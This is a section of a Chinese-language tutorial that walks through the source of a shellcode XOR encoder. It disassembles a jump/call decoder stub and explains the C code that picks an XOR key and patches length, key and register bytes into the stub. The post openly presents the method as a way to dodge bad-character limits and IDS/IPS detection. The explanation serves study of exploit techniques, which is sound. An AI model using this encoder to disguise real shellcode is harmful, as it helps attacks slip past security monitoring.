0x04 源码解读
下面以decoder_jump_header为例来说明解码部分
unsigned char decoder_jump_header[] = { 0xEB, 0x10, 0x5B, 0x31, 0xC9, 0x66, 0x81, 0xE9, 0xA1, 0xFE, 0x80, 0x33, 0x99, 0x43, 0xE2, 0xFA, 0xEB, 0x05, 0xE8, 0xEB, 0xFF, 0xFF, 0xFF };
echo -ne "\xEB\x10\x5B\x31\xC9\x66\x81\xE9\xA1\xFE\x80\x33\x99\x43\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF" | ndisasm -u - 00000000 EB10 jmp short 0x12 00000002 5B pop ebx 00000003 31C9 xor ecx,ecx 00000005 6681E9A1FE sub cx,0xfea1 0000000A 803399 xor byte [ebx],0x99 0000000D 43 inc ebx 0000000E E2FA loop 0xa 00000010 EB05 jmp short 0x17 00000012 E8EBFFFFFF call dword 0x2
这段就是decoder,也就是前文所说明的部分,然后会在这个解码器的后面放上真正的已经做过处理的shellcode
下面解读部分encoder.c的源代码
这个encoder.c通过xor来处理需要剔除的字节,原理很简单
下面的代码是寻找一个字节,使它与要剔除的字节异或后,产生的新的字节,不会出现在原本的shellcode中
这样做是为了防止原本的shellcode的字节异或后又生成要剔除的字节
/* Scan the shellcode for suitable encode byte */ for (i = 1; i < 255; i++) { /* Mark the candidate as found */ found = 1; /* Try out every byte in encode_bytes array */ for (j = 0; j < size; j++) { /* XOR candidate with encode_bytes */ try = i^encode_bytes[j]; /* Now try every byte in shellcode */ for (k = 0; k < len; k++) { c = 0xff&filebuf[k]; /* If match, mark the candidate "not found" */ if (c == try) { found = 0; break; } } } /* Break out if byte found */ if (found == 1) break; }
创建新的shellcode,截取jump传统方式的来解读一下
/* Create the new shellcode */ /* jump/call decoder */ if (decoder == DECODER_JUMP) { /* Copy 1st header */ memcpy(&shellbuf[0], decoder_jump_header, sizeof(decoder_jump_header)); //拷贝解码字节 /* Copy the actual shellcode */ for (i = 0; i < len; i++) filebuf[i] = filebuf[i]^encode_byte; memcpy(&shellbuf[sizeof(decoder_jump_header)], filebuf, len); //拷贝经过xor处理后的实际shellcode /* High len byte: */ //处理字节数 shellbuf[9] = ((0x10000-len)>>8)&0xff; /* Low len byte: */ shellbuf[8] = (0x10000-len)&0xff; /* Adjust, if needed.. */ if (shellbuf[8] == 0) shellbuf[8]++; /* XOR byte */ shellbuf[12] = encode_byte; //将0x99修改为xor使用的字节 /* Decoder register */ //使用不同寄存器的情况下,修改相应的字节,例如ebx的话第三个字节0x5b,第11个字节为0x33,第13个字节为0x43,这些在反汇编下很容易看出来 switch (reg) { case REG_EAX: shellbuf[2] = 0x58; shellbuf[11] = 0x30; shellbuf[13] = 0x40; break; case REG_EDX: shellbuf[2] = 0x5a; shellbuf[11] = 0x32; shellbuf[13] = 0x42; break; case REG_EBX: shellbuf[2] = 0x5b; shellbuf[11] = 0x33; shellbuf[13] = 0x43; break; } }
到此为此基本了解了这个编码解码器的原理。这是一种防止限制shellcode个别字符使用的,以及防止IDS/IPS检测等等的方法。
0x05 参考
http://www.klake.org/~jt/encoder/
http://blog.csdn.net/ych_max/article/details/815832